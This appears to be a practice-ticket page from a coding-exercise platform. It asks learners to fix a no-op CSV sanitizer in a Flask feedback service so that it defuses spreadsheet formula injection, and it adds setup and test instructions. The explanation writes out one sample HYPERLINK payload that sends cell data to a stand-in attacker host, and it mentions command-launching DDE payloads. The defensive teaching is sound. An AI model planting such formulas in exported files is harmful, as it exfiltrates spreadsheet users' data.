Nobody has started this yet — be first.
Business impact
This service's whole reason for a public, unauthenticated submission endpoint is to let anyone submit answers to a form -- and the whole point of CSV export is that the form owner opens that file in Excel, Google Sheets, or LibreOffice. Put those two things together and you have a well-known, real-world attack class: CSV / Formula Injection (an OWASP-listed vulnerability). A malicious respondent submits a text answer like =HYPERLINK("http://evil.example/steal?d="&A1,"Click me") (or a DDE/cmd-launching payload) instead of their name. It is stored and returned as ordinary text everywhere in this API's JSON responses -- completely inert there. But the moment the form owner exports responses to CSV and opens that file in spreadsheet software, that cell is evaluated as a live formula, not displayed as text: it can exfiltrate other cells' data to an external URL, or in older/misconfigured spreadsheet setups, do considerably worse. This is real, documented attack surface for exactly the feature this project ships (a public form -> CSV export pipeline), and it is the form owner -- the paying customer -- whose machine is at risk, not some abstract third party.
Problem
app/utils.py::stream_submissions_csv already routes every cell value through a helper, sanitize_csv_cell(value), before writing it to the CSV -- but that helper is currently a no-op that just returns value unchanged. So nothing is actually defused: a submitted answer starting with =, +, -, or @ is written to the exported CSV byte-for-byte.
Current behavior
A CSV export cell for a submitted answer like =HYPERLINK(...) is written verbatim, so opening the exported file in spreadsheet software evaluates it as a live formula instead of showing it as inert text.
Expected behavior
Any string cell value that starts with a spreadsheet formula-trigger character (=, +, -, or @) is neutralized before being written to the CSV, while the rest of the text content is preserved (not silently dropped), ordinary text with no leading trigger character is left completely unchanged, and numeric cell values (e.g. the rating column, which can legitimately be negative) are not mangled -- this only applies to string values. The standard, widely-used mitigation is prefixing the value with a single quote ('), which spreadsheet software renders as "the rest of this is literal text," not as part of the formula syntax.
Steps to reproduce
cd flask/feedback_service export FLASK_ENV=testing FLASK_ENV=testing .venv/bin/python -m pytest ticket_tests/test_ticket_06_csv_formula_injection.py -v
Why this matters
The fix has to be applied to the export path only, and only to values that are actually strings starting with a trigger character -- this project's JSON API responses (answers returned by POST/GET .../submissions) are not spreadsheet software and do not need (or want) this transformation; over-applying it there would corrupt data the frontend or an integration is relying on being exact. Getting the scope right -- CSV export only, strings only, leading-character-only -- is the actual difficulty here, more than the defusal technique itself.
Suggested approach
Everything routes through sanitize_csv_cell in app/utils.py already (see the call sites inside stream_submissions_csv) -- the only thing missing is its body. Decide the exact set of trigger characters, check isinstance(value, str) before doing any string-specific work (numbers and other types should pass through untouched), and pick a defusal strategy that a human opening the file would find both safe and recognizable as "this was defused, here's what it actually said."
Acceptance criteria
Verification
cd flask/feedback_service && FLASK_ENV=testing .venv/bin/python -m pytest ticket_tests/test_ticket_06_csv_formula_injection.py -v
Hints (0/2)
Try it without hints first — the reading is the exercise.
Working on this ticket
Work on a branch named for the ticket — that's what you'll submit.
Branch off your fork
$git checkout -b feat/csv-formula-injectionFix it and commit
Meet every acceptance criterion, and add a test that would have caught this.
Push the branch
$git push -u origin feat/csv-formula-injectionSubmit it below
Paste your fork URL and the branch name, with a short write-up of the root cause.
Questions
Ask about anything unclear in the ticket — the maintainer and anyone who has solved it can answer. Please don't post full solutions.
Sign in to ask a question or reply.
Sign inweb and worker share the same image and only differ in their command: -- web runs flask db upgrade && flask run, worker runs celery -A celery_worker.celery worker. For a prod-style stack (built image, gunicorn, no bind mount) use docker compose -f docker-compose.prod.yml up --build instead; it refuses to start without SECRET_KEY/JWT_SECRET_KEY actually set in the environment.
cd flask/feedback_service
python3 -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
cp .env.example .env # defaults are fine for local dev as-is
export FLASK_APP=wsgi.py FLASK_ENV=development
flask db upgrade # applies migrations to a fresh SQLite DB under instance/
# terminal 1
flask run --port 5000
# terminal 2 (needs a local redis-server running — broker for both Celery and the rate limiter)
celery -A celery_worker.celery worker --loglevel=info
Each ticket in ticket_tests/tickets/0N_*.md names one dedicated test file under ticket_tests/:
cd flask/feedback_service
export FLASK_ENV=testing
.venv/bin/python -m pytest ticket_tests/test_ticket_0N_*.py -v # a single ticket
./ticket_tests/run_tickets.sh # all 7, PASS/FAIL scoreboard
TestingConfig runs Celery tasks eagerly (CELERY_TASK_ALWAYS_EAGER=True, no broker needed) and uses a real, per-test-flushed Redis DB for the rate limiter when Redis is reachable, falling back to Flask-Limiter's in-memory backend otherwise -- either way the real Flask-Limiter code path runs, nothing about rate limiting is mocked. Note ticket_tests/ is not collected by a plain pytest -q from the project root (pytest.ini pins testpaths = tests), so the project's own suite and this practice suite stay independent and must be run explicitly.
Level 2
Implement a feature
Extend the system within its own patterns.